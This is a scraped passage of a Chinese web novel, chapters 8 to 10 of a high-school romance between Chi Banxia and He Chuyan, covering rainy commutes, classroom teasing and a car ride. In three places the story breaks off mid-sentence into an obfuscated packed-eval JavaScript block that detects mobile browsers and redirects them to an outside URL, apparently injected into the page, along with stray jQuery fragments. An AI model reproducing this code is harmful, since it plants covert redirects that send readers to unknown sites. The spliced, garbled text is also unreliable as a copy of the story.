周一还是晴空万里,周三大早就因为台风来袭,南江下起暴雨,池半夏只得挤公交车。 没想到这位养尊处优的贺大少爷,也跟着一起。 这场突发暴雨,打得众人措手不及,公交车里乌泱泱的,人挤人,消息提示声打电话声咳嗽声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634143|143697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交谈声混成一团。 池半夏缩在靠窗的角落里,听到头顶传来声音:“昨晚去哪游魂去了?” 少年抬手握着拉手吊环,几乎是把女孩护在身前。 “在知识的海洋里遨游……”池半夏半阖眼眸,长长打了个哈欠,“不知道为什么,早上怎么都睡不醒。” 女孩说话时,露出半边的白色耳机线。 贺初衍伸手拿掉一边耳机,塞到左耳。 “必修二里的单词,你怎么还在听?” “无聊的时候,听着打发一下时间。”池半夏含糊地说,“不然多浪费贺大少爷辛勤的劳动成果。” 这可是她跟贺初衍打赌赢了,让这人照着英语必修单词表,一节一节课录音的。 不过说实话,这人声音确实挺好听的,不失少年清朗,又带了点变声期的沉,口音也地道纯正,完全不辜负他好几年的国外生活经历。 “不过你怎么记得怎么清楚?” 她听了百八十回,都记不清到底是必修几的单词。 睁眼,正看到贺初衍低头拿着手机。 池半夏没想偷看来着,可两人靠得太近,她睁眼时,那手机正好怼到了眼前。 瞬间看清了列表排在下面的可爱棕色兔子头像,还有学长两个字。 这么快就加上好友,还聊上了…… 池半夏对上少年抬眼的目光,话到绕了个弯就变了:“你昨晚……做什么了?” 贺初衍回完关子啸大早哀嚎的消息,把手机收起来:“为了班级的黑板报大业努力学习一整晚。” “就您那后现代主义艺术画风。”池半夏无情吐槽,“师承毕加索吧。” 贺初衍不以为然:“池半夏同学,你就等瞧吧。” 池半夏:“行啊,我等着看。” - 早习结束,踩着第一课的铃声。 贺初衍揽着关子啸的肩膀:“别念叨了,不是说今天要来?” 关子啸顿时瞪大眼睛:“阿衍,你怎么知道的?” “你背着我偷偷加小学妹了?” “加什么?”贺初衍颇为不耐地开口。 转眼看到他那一早上没给什么好脸色的小同桌,跟那个陆慕齐倒是笑得一脸乖巧。 懒得搭理关子啸的胡搅蛮缠,直直朝着座位走去。 那人倒还算懂眼,这次没再占着位置。 贺初衍大马金刀地坐下:“聊挺开心?” “还行吧。”池半夏早就听清他们的对话,心里说不清怎么回事,就说,“毕竟比较有共同语言。” “凭一篇作文卷的交情?” “作文的交情大过天。” 关子啸转身打岔:“夏姐,谁惹你不高兴了?告诉我,我来给我们夏姐出气!” 池半夏认真地问:“谁都可以?” 关子啸定定看看池半夏,已经埋葬的情商猛地掀开了棺材板。 心想,这事十有八九跟他贺哥有关。 顿时特别想穿越回三秒前,狠狠打几下自己这张破嘴。 这两人他可不敢掺和一点。 “那个……我突然想到,我昨晚有题一直没想通,同桌快来救我!” 过了几秒,前桌传来压低的交谈声。 “啸天你怎么这么怂。” “姑奶奶你行你上。” “……” 池半夏刚收起手边的听力材料。 就被旁边这人勾着座椅的横杠,轻而易举地带了过去。 鼻尖掠过少年身上好闻的阳光暴晒味道,混着几缕清爽的薄荷气味。 视线内,是不讲理横过身前课桌的手臂。 这时头顶传来声音:“大小姐,又哪惹你了?” 池半夏仰头对视:“如果有人惹我了,然后呢?” “大小姐,能有什么然后?”贺初衍浅色瞳色浸着笑,语气吊儿郎当的,“欺负我同桌,不就是跟我作对?” 池半夏被逗笑,压住翘起的唇角:“你少看点有的没的,也不嫌老套。” “管用不就得了。”贺初衍微勾唇角,“刚刚不还耷拉着脸,现在就笑了。” “我才没有耷拉脸,也没有笑。”池半夏不客气地推了把少年,“快看看桌肚里,放两天都快生灰了。” 贺初衍拿出桌肚里的物理小练册:“这是想让我干白工?” “反正您被白嫖,也不差这一回了。”池半夏说,“闲着也是闲着,不如做好人好事。” “毕竟您当哑巴帅哥的时候最帅。” 贺初衍哼笑一声。 于是大笔一挥,在第一道题上划了个鲜红的叉。 池半夏:“……” 这人笑得这么嚣张。 真不知道这题是错了,还是在借此打击报复她??? 8. 吃瘪 池半夏狐疑地问:“真错了?” 贺初衍抬眼,欣赏了好几秒鲜红的叉,然后不紧不慢地开口:“试试笔而已。” 池半夏:“……” “抬笔这个简单又轻便的小动作,可累坏您这位屈尊降贵的大少爷了?” “那不是。”贺初衍微勾唇角,“池半夏同学,你看到的只是一个小小的抬笔动作,其实是脑力和神经组织千辛万苦同心协力的成果。” 池半夏显然对这种赤.裸.裸的胡扯,表示相当的不满。 “怎么,您搁这扮贺初衍号,这抬笔的一小步,世界的一大步?” “要这样想也不是不成。”贺初衍说,“无论是阿波罗号,还是我,都不过是这世界的一份子而已。” 池半夏:“?” 从未见过如此厚颜无耻之人。 有些嫌弃地催促:“您快点看吧。” 贺初衍很快就看完了,大笔一挥,批了“全对”两个大字。 被池半夏瞥了眼,又加上“再接再厉”的评语。 还偏偏写在刚刚那个鲜红的叉上。 池半夏垂眼,注意力只是被吸引了一瞬,有些嫌弃地撇了撇嘴。 继而看回手边的习题册。 唇角又不自觉微翘。 这套题有些难度,她做的时候把握不大,本来她觉得至少会错到1-2道的,没想到竟然全对了。 坐在窗边的女孩,半垂乌黑浓长眼睫,发梢柔软,唇角泛起浅浅弧度。 侧脸映着圈浅金色阳光。 贺初衍微勾唇角。 真好哄。 - 午休的时候,小学妹孟思様来了。 关子啸提前特意到教务处搬了闲置的座椅,放在最后一排,还准备了瓜子零食饮料。 孟思樣很有礼貌,一直笑着说谢谢,还给他三小袋雪花酥。 只不过关子啸观察到,她的注意力明显在几排之外讨论题目的少年少女身上。 孟思樣时不时探去目光,有些欲言又止的。 关子啸殷勤找话题:“小学妹如果有什么想问的,都可以问我,我可是一中的百事通。” 孟思樣似是犹豫了下,还是小声地问:“为什么贺学长要叫学姐……” 关子啸一脸“我就知道你要问这个”的了然:“大小姐啊?” 孟思樣点了点头。 一说到这个,关子啸就来劲:“就是他们小学刚认识那会,有天夏姐心情不怎么好,阿衍就带她去逛电玩城,结果打赌起谁能先抓到娃娃机的娃娃,然后阿衍输了。我跟你说,阿衍小时候就是个拽王了,看拽王吃瘪多爽啊,也就夏姐能治他两回了,夏姐那时候年纪小,中二魂又疯狂燃烧,阿衍既然输了,只能乖乖听话叫大小姐了。” “不过我悄悄告诉你,初一的时候,我见过阿衍抓娃娃,一抓就是两大包,我都要以为他是去批发进货的!” “真不知道是当时放水给夏姐了,还是因为输了,觉得丢脸,所以私下大练特练抓娃娃的技术……” 关于池半夏和贺初衍打赌抓娃娃机的事情,他也就是听过一回而已,至于当时的细节,也没人跟他讲过。 身边的人几乎都好奇问过他这个问题,多年说了很多遍,单方面添油加醋的版本都不下百八十个。 今天他说给小学妹的这个,已经算是最客观的一个版本了。 孟思樣眼眸里激动神色却愈深。 关子啸脑海里突然电光一闪,福至心灵,有了一个虽然有些许离谱但是没准是真的的猜测。 在他这么多年藏不住事的人生中,他一直对他的好兄弟严守着一个秘密。 ——他在一个匿名群里,嗑着他好兄弟和小青梅的CP,关键是他还是群主。 不过他也就敢在群里口嗨,放放迷雾弹,真实的相处日常,他是一点都不乱说的。 于是试探性地问:“奇变偶不变?” 话音刚落。 “啸天!” 很重的一声巴掌响。 关子啸顿时捂住火辣辣的手臂。 “啸天,小学妹来了,你不吭一声,把人拉到角落里做什么?” “小学妹,你怎么这么想不开,你的这两位搭档大神,一个比一个不靠谱!” “啊,这是雪花酥吗?” “自己做的吗?小学妹你这么心灵手巧的!” …… 七嘴八舌,有男有女,都围在角落里。 关子啸完全被不客气地挤出去,混乱中还被踩了好几下脚,把他的新买的限量版球鞋都踩脏了一片。 完全见小学妹忘了同学,这群喜新厌旧的人,真是过分。 关子啸回到座位。 就看到孟思樣跟了过来,脸上挂着甜甜的笑容,眉眼笼着半空的柔和光晕。 关子啸刚想开口,就看到小学妹直直调转了个方向。 孟思樣伸出双手,看起来有些紧张:“学姐,这是我做的夹心饼干。” 可爱垂耳兔子形状的。 关子啸:“?”怎么大家都是雪花酥,他夏姐是最特别的可爱垂耳兔子夹心饼干。 池半夏眼睛一亮,接过饼干:“谢谢。” 陈文熙也接过夹心饼干,得意道:“这可能是可爱女孩们特有的吸引力。” 关子啸:“……” 午休就快结束,雅艺楼离高三教学楼有些距离,孟思樣要先离开了。 “啸天,我怎么就发现你今天特别积极兴奋啊?” “啸天啸天,你不去送小学妹?” 关子啸被打趣猛了,麦色脸颊浮现不分明的红晕,抓住旁边起哄男生就是锁喉。 身后传来幽幽的声音:“符号看夏衍。” 这声说的很低含糊,只有关子啸听到了。 关子啸顿时一个激灵:“!!!”暗号果然对上了,他就知道。 “啸天,你突然抽搐什么?” “是不是小学妹一走,把你的灵魂都一起带走了?” 面对众人起哄,关子啸难得没有吭声。 而是陷入疑惑、沉思、随后是顿悟。 然后脸上突然挂上挡都挡不住的明晃晃笑容,大手一挥,半挂在混乱里讲题的贺初衍的肩膀上。 “兄弟,为我对你产生的一丢丢误会,表达深切的忏悔歉意。” 贺初衍手臂被一搡,在试卷上印下一道杂乱斜线,有些嫌弃地把搭上肩膀的狗爪,无情地挥了下去。 完全是一脸看傻子的神情。 一整个下午,贺初衍被一中物竞组强行征用当吉祥物。 他这些天,活像是到处搬的一块砖,整个高三年级的老师都视之为高质量劳动力。 晚上池半夏和陈文熙试听完作文辅导班,陈文熙先回家了,池半夏顺路回了学校。 - 池半夏留下来,上完了最后一节晚习。 她被一道数学大题耽误了些时间,起身关门时,才发现别的班几乎都走光了,长长的走廊被笼罩在一片黑暗里。 就很有校园规则怪谈的氛围。 尤其当她走到走廊尽头,看到两步之外,昏暗中透出一道斜长影子。 抬眼,对上映着淡白荧光的侧脸。 下意识后退了小半步。 少年斜靠着墙,听到动静,才不紧不慢地微掀眼眸。 朝她直直瞥来,唇角勾起几分戏谑弧度。 池半夏定了定神,试图掩盖刚刚被吓到的事实,决定先下手为强:“你怎么还没走?” 贺初衍把手机收起来,顺手接过池半夏的书包,随意地挂在左边肩膀上。 “还不是某人给我发消息,说今晚要拿回作文素材书。” “哦,我给忘了这回事。”池半夏跟贺初衍并肩下楼梯,“难为您日理万机,还能记得这些小事。” 贺初衍:“是挺日理万机的,整天起得比鸡早,睡得比狗晚,长工家磨盘的驴都不带这样压榨的。” 池半夏被少年语气逗笑,唇角微翘:“所以说嘛,大少爷,您放着好好的一年gap生活不要,到底申请回来读高三做什么?” 贺初衍似是轻笑了声:“大小姐,我为什么申请回来读高三,你难道不知道吗?” 池半夏顿住脚步,下意识偏头瞥去。 晚风吹起少年乌黑额发,树影簌簌,几抹微光落进浅色眼瞳,似是浸了几分笑意。 胸膛内平稳的心跳,好像漏跳了拍。 “喵呜~” 池半夏受惊般挪开视线,朝着灌木丛看去,对上一双发光瞳孔。 是学校里的一只三花猫。 “都快十一点了,这么晚了,我们快回去吧,明天还有课呢。” 池半夏直直下楼梯。 贺初衍站在原地,看着女孩顺拐下着楼梯。 不自然打岔的欲盖弥彰。 这么多年,还是一点都没变。 走进小区电梯前,池半夏就已经整理好脑海里错杂的想法。 毕竟贺大少爷的脑袋构造与常人不同,有体验高三地狱艰苦生活的癖好,也不是没有可能的事情。 也不一定是为了什么…… 池半夏颅内逻辑自洽后,顿时觉得好多了。 走到门前,犯起懒,使唤起贺初衍:“小贺,快去把我的作文素材书拿出来。” 贺初衍懒撩眼皮:“自己来拿。” 池半夏试图讲道理:“难道我那些作文素材书,不是全被你拿回家去了,所以才造成我要深夜去取回我的所有物的结果吗?” 贺初衍从小到大,忽悠过人的歪理,受害人数不胜数,自然对这种目的明显的歪理免疫。 “大小姐,这都快半年了吧,得亏你还能记得,这些作文素材都要过期了。” “哪有那么容易过期,反正你也不看。” 贺初衍说:“大小姐讲点道理,南江和宜潭十四校联考,教室被征用当考场,全部的书都要搬回家。” “你嫌重,把这些作文素材书,偷塞到我书包里的事,我还没跟你算账。” “一码归一码。”池半夏理不直气也壮,“现在是你霸占我的东西不还,我完全有向你讨回我的作文素材书的权利。” “自己的东西,难道不要自己来拿?” “小气。” 池半夏不情不愿地挪到贺初衍的家门前。 结果这人环抱着双臂,完全一副光看不动手的模样。 池半夏撇了撇嘴,输入开门密码。 竟然还是她的生日,她之前开玩笑改的,没想到这么半年过去了,这人都还没有改回来。 “杵在门口当门神?” 身后传来熟悉的嘲讽语气。 池半夏回过神,从鞋柜里拿出自己的专属拖鞋,轻车熟路地走进客厅。 滋啦——阳台好像发出声响。 池半夏的耳朵尖: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634144|143697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿衍,你有没有听到什么动静?” 贺初衍把书包往沙发上随手一放:“疑神疑鬼上瘾了?” 池半夏坚信自己耳朵的灵敏度:“不是,你听阳台是不是有动静?好像真的有人。” “阿衍,叫你天天拉仇恨,一点都不知道积德,现在报应终于来了吧。” 贺初衍听着女孩碎碎念般的埋怨,手指紧攥他的衬衫衣摆,还要借机吐槽他。 小身板猫着腰,却直直挡在他面前。 池半夏拿起茶几上的白瓷长颈花瓶。 悄悄把玻璃门关锁后,猛地拉开窗帘。 却直对上一张看不出来年龄的靓丽面容。 “苏姨?” “妈?” - 苏槿刚回国到家不久,就被池半夏锁在阳台,差点被报警私闯民宅,为此表示很开心孩子们的防范意识和举措。 “半夏也搬过来一起住吧。”苏槿坐在沙发上,朝着身旁的池半夏说,“一个人住多无聊啊。” 贺初衍不以为然地轻嗤:“不就在隔壁。” 苏槿扭头:“阿衍,说话不能这么冷情,怎么能留可爱的女孩子在孤零零的房间里呢。” 贺初衍从冰箱里拿出一罐冰可乐:“女孩子我承认。” 这话说得意味深长的。 池半夏忍住翻白眼的冲动。她不说话,静静盯着人的时候,黑白分明的眼眸像是会说话,很乖巧,特别招长辈疼。 苏槿顿时被萌到了,忍不住说起旧事:“说起来,阿衍跟小半夏刚认识那年,是小学三年级吧,那段时间这小子真不让人省心,大少爷的狗脾气,不想理的人就装脸盲,后来还是遇到了小半夏,我才放心不少。” “小半夏还一直想认我当干妈。”苏槿很遗憾地轻叹了口气,“不过后来,不知道为什么,就怎么都不肯了。” 池半夏心虚地摸了摸鼻尖,转移起话题:“苏姨,我也很想搬过来陪你住,可是我妈妈不会同意的。” 苏槿说:“瞿姐那里好办,我跟她打个电话就行,她知道你身边有人照顾,也会安心不少的。” “一日三餐怎么解决?”贺初衍手肘随意撑在桌边,“请做饭阿姨,还是叫外卖?” 苏槿微皱眉头:“外卖不太健康吧,高三这么辛苦,要好好补充营养才行。” 以贺初衍对自家妈妈的了解,这时他已经充分感知到不对。 果然下一秒,苏槿开口道:“很久没尝过阿衍的手艺了。” “阿衍,妈妈和妹妹都很想念的。” 池半夏本来想反驳,可是一想到这位贺大少爷的厨艺,馋意占了上风,很不争气地抿住嘴唇。 贺初衍在池半夏旁边坐下,明知故问:“我们家哪来的妹妹?” “虽然我没有当成干妈,不过小半夏也算我们家的孩子,当然也算得上你名义上的妹妹。” 苏槿一直很喜欢家里两个孩子在一起打闹:“小时候小半夏还一口一个阿衍哥哥呢。” “是么?我怎么记不清了。” 贺初衍微抬下巴,偏头朝着池半夏瞥去,突然混蛋又无辜地笑了,一副赌你不敢叫的模样。 池半夏露出一贯装乖的笑容。 语气却格外咬着牙:“阿、衍、哥、哥。” 苏槿看着两人其乐融融、兄友妹恭的场面,露出欣慰的笑容。 她和瞿丽君的交情一向好,两个性格八竿子打不着一起的人,却意外很能聊到一起。 一出马,池半夏住进自己家的事情,就顺利解决了。 挂断电话前,池半夏接过苏槿的手机,听到瞿丽君的叮嘱。 “在苏姨家懂礼貌些。” “知道了,妈。” 刚挂完电话,贺初衍的爸爸电话就来了。 苏槿指了指手机,要去阳台接电话。 池半夏知道这对夫妇又要煲甜蜜电话粥了。 真不知道贺叔苏姨这么好这么随和的一对夫妻,怎么养出这个嘴毒的哑巴帅哥的。 绝对是基因变异。 池半夏移回目光。 鬼使神差地又小声叫了句:“阿衍哥哥。” 贺初衍伸手推开凑近的脑袋,语气难得不自然:“叫得挺来劲。” 以池半夏对他多年的了然,这人绝对是不好意思了。 拽王遭到制裁,拽王吃瘪,简直是大快人心、值得到处宣扬快乐的事情。 早知道哥哥这么好用,她早就用了。 起身,语气欢快地告别。 “阿衍哥哥,晚安。” - 池半夏第二天被苏槿叫去吃早餐,顺便拿她昨晚忘记拿的作文素材。 只是她来得有些早,客厅里静悄悄的。 她换鞋走了进来。 结果差点撞到从浴室里走出来的贺初衍。 池半夏仰头,一改常态,露出漂亮无害的笑容。 “阿衍哥哥。” 转眼看到从厨房端盘子出来的苏槿,亲热地迎了上去。 “苏姨,我来帮你端。” “不用,小半夏,坐在这里吃就好了。” “闻起来好香啊。” “是阿衍一大早起来做的。” 而惨遭两人忽略的贺大少爷,还站在原地。 脸色有些沉。 这声哥哥叫得…… 贺初衍烦躁地捋了把被水沾湿的额发。 靠。 9. 明胁 昨天傍晚暴雨就停了,凌晨时候又开始下了起来,南江顿时被笼进厚厚一层朦胧雨雾。 吃完早饭,这雨也没有丝毫停下来的意思。 池半夏背起书包,打算早点出发去学校,雨天要走得要比平常慢,不然容易淋湿鞋裤。 湿漉漉贴在身上的感觉,实在是不怎么舒服。 于是起身:“苏姨,我先走了。” 苏瑾看她走到门口:“半夏,怎么这么急?” 池半夏弯腰换鞋:“外面下大雨,晚点容易迟到。” 苏瑾说:“别急,我开车送你们去,别在路上淋湿了。” “不用不用。”池半夏连忙说,“也没有多远,不用麻烦苏姨了。” “没什么麻烦的。” 苏瑾平日里温声细语的,性子却格外干脆利落,起身拿车钥匙:“我也闲着,送完你们刚好去趟超市。” 池半夏点了点头。 苏槿转身,就看到不紧不慢喝豆浆的儿子,催促道:“阿衍,别坐着了,半夏都换好鞋了。” 贺初衍又被苏槿催促了声,把剩下的豆浆一饮而尽,这才起身。 路上暴雨不止。 苏槿开着车,不经意问起来:“我看天气预报,昨天也是下暴雨,路上有没有淋到?” 池半夏回答:“没怎么淋到,我们坐公交到了校门口。” 苏瑾脸上带着惊讶:“阿衍挤公交吗?” 她也就是随口一问,没想到这个养尊处优的小子,竟然肯挤人多的地方。 池半夏说:“昨天突然想吃红豆派,就去城南吃了早餐,回来的时候下了暴雨,路过站台的时候车来了,就干脆坐了公交到了校门口。” “而且阿衍哥哥。”她特意加重了语气,“听到我说想吃红豆派,一大早就起来陪我去。” 用着装乖的口吻,绝口不提她昨天大早上突击贺初衍的房间,用高分贝的国际歌惊吓对方的事情。 苏槿欣慰地说:“阿衍真是长大了,越来越有哥哥的样子了。” 而另外一个当事人懒倚进靠背,身前还盖着校服外套,堪堪半遮住上身。 少年半阖眼眸,从车窗透进的粼粼雨纹光影,轻笼隐在背光侧脸,浓长眼睫微垂,在眼睑处落下小片阴翳。 这人意味不明地笑了声。 池半夏偏头,对上直直瞥着她的浅色眼眸。 意思很明显——说谎不脸红? 池半夏唇角微微翘起。 意思也很明显——近朱者赤近墨者黑,还不是跟某人学的。 滋啦——突然的刹车,发出刺耳突兀的声响。 池半夏一时不备,往前栽倒。 眼看着就要直直撞上前座。 下意识闭紧双眼。 劲瘦手臂已经横过身前,稳稳捞过侧腰。 池半夏脑袋倒进滚烫胸膛时,攥紧手指触碰到的衬衫。 逼仄车内,鼻尖掠过的那股薄荷香气,仿佛要把她团团包围。 胸膛贴着胸膛。 耳畔喧闹雨声之外的鲜活心跳声。 一声比一声沉。 “抓这么紧,打算用熨斗帮我烫衬衫?” 头顶传来混在喉咙里的低笑。 呼吸热气喷薄耳朵尖,莫名有点痒。 “狗嘴吐不出象牙。”池半夏故意又攥了好几把,让本就变得皱巴巴的衬衫雪上加霜,唇角翘起得意弧度,“你这嘴就不能吐出点好话。” “您家狗嘴里能吐出象牙。”贺初衍语气轻飘飘的,隔着胸膛那股共振感,“要不您来演示一下,让我瞧瞧世面?” “半夏,阿衍,没事吧?” 池半夏听到苏槿的问话,受惊般条件反射地推开少年。 却没料到,下一瞬,后脑勺被手掌更紧地按住了。 “没事吧,妹妹?” 池半夏整张脸都深埋进校服外套,又是那股干净好闻的薄荷气味。 用着这么无辜又混账的语气,倒是把按着她脑袋的手松开啊。 这人到底是不是想趁机窒息谋杀她?! 苏槿一时没得到回答,趁着等红绿灯的间隙,转头的时候,刚好看到女孩猛地抬头,然后撞到少年鼻尖的惨案。 随着两声交错在一起的闷哼声。 一个揉头,一个摸鼻。 苏槿愣了下,随后不受控制地发出笑声。 笑了几秒,后知后觉地想起自己还是个长辈,掩饰般地清了下嗓子。 “那个,你们还好吗?” “苏姨,没事的。”池半夏咬紧后槽牙,抬头还是露出笑容,“刚刚不小心碰到了下。” 苏槿笑了笑:“没事就好。” 转头继续开车。 池半夏看到苏槿转头回去,感觉脑袋还有股钝痛感,一连揉了好几下。 真不知道这人是不是铁做的。 贺初衍比着口型:“大小姐,恩将仇报啊。” 池半夏轻哼了声,也用口型回答:“活该,谁叫你手欠。” 车停在校门外。 池半夏跟苏槿告别就下车了。 贺初衍也从另外一边车门下来。 雨变得小了些,到处都是撑着的伞。 雨雾里有两道身影,在人群匆忙里显得格外的突兀。 竟然遇到了关子啸和陈文熙。 关子啸亲亲热热地凑上来:“少爷,小姐,刚刚这车得好几个七位数吧。” 贺初衍完全不吃这套:“关少爷您还缺钱?” 说到关家,家里有个样样拔尖的姐姐,国外名校毕业,回国不过几年,就在家中公司担任一把手。 而关子啸作为关家小儿子,家中对这个胸无大志的“草包”儿子,也极其的宽容,最大的要求就是身体健康,用他自己的话来说,不过平平无奇富二代。 “此言差矣。”关子啸状似苦恼地摇了摇头,“少爷,按我们家这情况,哪天我被爸妈忍无可忍把我扫地出门,也不是不可能的事情。” “我不想努力了,你也不要努力了,直接抱苏姨的大腿吧,分市中心地段的几个门店给你,保你,不,保我们这辈子荣华富贵。” 贺初衍冷嗤一声。 这番话已经不是第一次听关子啸说了,池半夏和陈文熙对视一眼,都从眼里看出了无聊。 两个女孩共撑一把伞。 “半夏,我昨晚买了一套胡萝卜兔子的文具,特别可爱!” “真的吗?” “真的真的!一会到教室给你看,要是你有喜欢的,我送给你啊!” “文熙宝贝你太好了!” 她们碎碎念聊着。 同时身后传来关子啸的声音。 “阿衍,你大早往哪鬼混去了?衬衫怎么皱成这样?” 池半夏唇角笑容一顿。 想起刚刚她在车内对衬衫施展的暴行。 他们离得不远,隔着雨声有些模糊地传进耳朵。 “小狗狗弄的。” “我们中午去吃学校门口的干锅饭吧……” “嗯?半夏,你怎么不说话?” 池半夏控制住扭头骂回去的冲动,余光瞥到模糊的身影,唇角微弯漂亮弧度,小声地说:“文熙,你现在停一下。” …… 关子啸足足愣了好几秒。 他记得他贺哥家里没有养狗啊。 关键是哪来的小狗狗,能让他贺哥这个级别的拽王,笑得莫名有股荡漾味。 关子啸的八卦雷达,一下子就红色警报作响,脸上顿时挂满贼兮兮的笑容。 却没料到一时没有控制走的速度。 还没回神,看着他贺哥往旁边一个侧身。 不好的预感来临。 下一秒,一串雨水攻击直朝着他而来。 偏偏他又是斜撑着伞,顿时被浇了一整脸。 定睛一看,池半夏握着倾斜的伞,唇角要翘不翘的,完全是在拼命憋笑。 陈文熙手指着关子啸,笑得直不起腰:“啸天……落汤狗哈哈哈!” 被误伤的关子啸:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634145|143697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是不是水逆啊,这都什么事。 - 下午最后一节课是体育课。 作为高三仅剩的一节体育课,学校提供篮球足球羽毛球网球排球棒球等运动场地,跟其他两个年级完全错开时间,为的就是在压力大的高三时期,提供适当的放松。 池半夏对球类无感,天气太热,她不打算去田径场跑步。 再说了,她也不喜欢身上出汗的黏滞感。 于是找借口,说是等会要去数学组找老李串门。 …… 关子啸都快走到篮球场,才发现忘记带自己最爱的骚粉色头巾了,直说要回去拿。 顿时引起同伴的不满。 “有什么好去的,就你那个骚包头巾,特么每次带我都想揍你一顿!” “简直辣眼睛!” “你们懂什么审美!”关子啸边跑边回头,“等我五分钟就回来!” 关子啸一路朝着教室方向飞跑。 却在走廊遇上刘晟,被一把揽过肩膀。 “啸天,赶着去投胎啊?” 离教室还有几步路时,刘晟突然刹车。 关子啸吐槽:“你这人什么毛病,走路当考驾照,天天练刹车是吧?” 刘晟两眼5.1视力,在普遍近视的高三生中傲视群雄:“嘘,教室里有人。” 关子啸无语:“你不废话,教室里要是没人,那还能有什么,有鬼吗?” 刘晟语重心长:“啸天,我这样说,肯定不是普通地说教室里有人。” “神神叨叨的。” 关子啸话虽这样说,还是老实闭嘴,从刘晟话里嗅到的满满八卦气息,完全占据脑海的上风。 两人鬼鬼祟祟地走近教室。 关子啸才发现竟然是池半夏和陆慕齐。 女孩怀里抱着一大沓习题册,而身旁少年跟她说了什么。 怀里大半的习题册就转到了少年手里。 两人丝毫没有注意到探出后门的脑袋,从前门走了出去。 直到两人消失在走廊尽头。 关子啸偏头一看,刘晟完全是望眼欲穿的目光。 刚想开口,就听到他来了句:“啸天,你不觉得特好嗑吗?” 关子啸狐疑地问:“你嗑到哪了?” 不是跟他一直站在一起吗?怎么嗑到的?还笑得这么变态,是不是把脑袋嗑坏了? 刘晟一脸看傻子的表情:“是嗑cp。” 关子啸:“?!”没想到这小子浓眉大眼的,竟然也是同道中人。 他立刻纠正:“你这是嗑邪.教。” “怎么能说是邪.教。”刘晟顿时激动,试图拉近同好,“这可是双学霸啊,你不觉得陆慕齐每次对夏姐都很有礼貌吗?还主动给夏姐复印作文卷,然后夏姐又给他讲了好几次数学题,而且夏姐数学好,陆慕齐语文好,就连学科都是互补!” “最重要的是,刚刚陆慕齐主动帮夏姐搬书,站在一起多养眼啊。 关子啸回想了下刚刚的场景,在那么一瞬间,理智摇摇欲坠,有那么一丝的松动。 “嘶,好像……是有那么一点好嗑——” 哐当—— 身侧突然落下一声重响。 突然冲来的棕色篮球,直直砸到关子啸的身侧。 刘晟:! 关子啸:!!! 两个人顿时弹了起来。 齐齐扭头看向身后。 贺初衍不紧不慢地收回手:“不好意思,不小心手滑了。” 这鬼话谁信。 以他贺哥投球的准头,能不小心到刚好砸到他们旁边。 的确是太精准的“不小心”了。 那个棕色篮球,还在不停上下弹着。 像是他们此刻胆战心惊的小心脏。 而那个嚣张又明晃晃的罪魁祸首—— 此时少年背身靠在墙边,懒抱着双臂,朝他们微抬下巴。 格外皮笑肉不笑的。 “有多好嗑?也让我听会。” 10. 汽水 在短短的十几秒的沉默中,关子啸回忆了下曾经那些向池半夏献过殷勤的惨案。 众所周知,池半夏喜欢吃巧克力,是几乎消息透明的一件事。 曾经目睹过这位贺大少爷,大马金刀地坐在小青梅的座位上,吊儿郎当地挨个评测巧克力。 从可可豆产地和含量,到掰开的清脆声响程度,一一论述,以众人完全听不懂的中国话的科研态度,挡掉那群送巧克力的人。 那活像阎罗监护人附体的场面。 他并不是很想亲身体验一次。 关子啸瞅着贺初衍的神情,决定先下手为强:“阿衍,绝对不好嗑!我以本人的意志、下次月考成绩来担保,绝对绝对绝对不好嗑!这妥妥就是邪.教嘛!” 一副“本人刚刚只是被奸人蛊惑绝对不可能跟这人同流合污”的良家妇男神情。 惨遭背刺的刘晟:“………………” 贺初衍显然没有那么好糊弄,语调慢悠悠的:“不是说很有礼貌?” 关子啸很上道:“礼貌嘛,那就是客气,那不就是不熟!” “主动复印作文卷?” “区区复印作文卷,这不就是普通的同学情谊,你帮我一下,我回帮一下,算得清清楚楚明明白白,更不熟了!!!” “不是还说是双学霸?” 关子啸马不停蹄地接话:“您学神,夏姐也学神,双学神不是分分秒秒杀双学霸!” “我记得刚刚好像不是这样说的。”贺初衍唇角微勾,漫不经心道,“主动搬书的场景,多养眼,多好嗑啊。” 关子啸完全没想到这人记得这么清楚,转头狠狠瞪了眼始作俑者。 ——让你话这么多。 “什么好不好嗑,什么养眼不养眼。”关子啸扭头又迅速变脸,“大好的高三时光,正是头悬梁锥刺股的阶段,什么乌七八糟的,别影响人考A大。” 刘晟一脸笑容地附和:“对对对,高三就是努力冲刺奋进的时刻,什么绝配,什么嗑cp,什么养眼,那全都浮云……” 说到一半,实在是编不下去了,撞了撞身旁关子啸的肩膀。 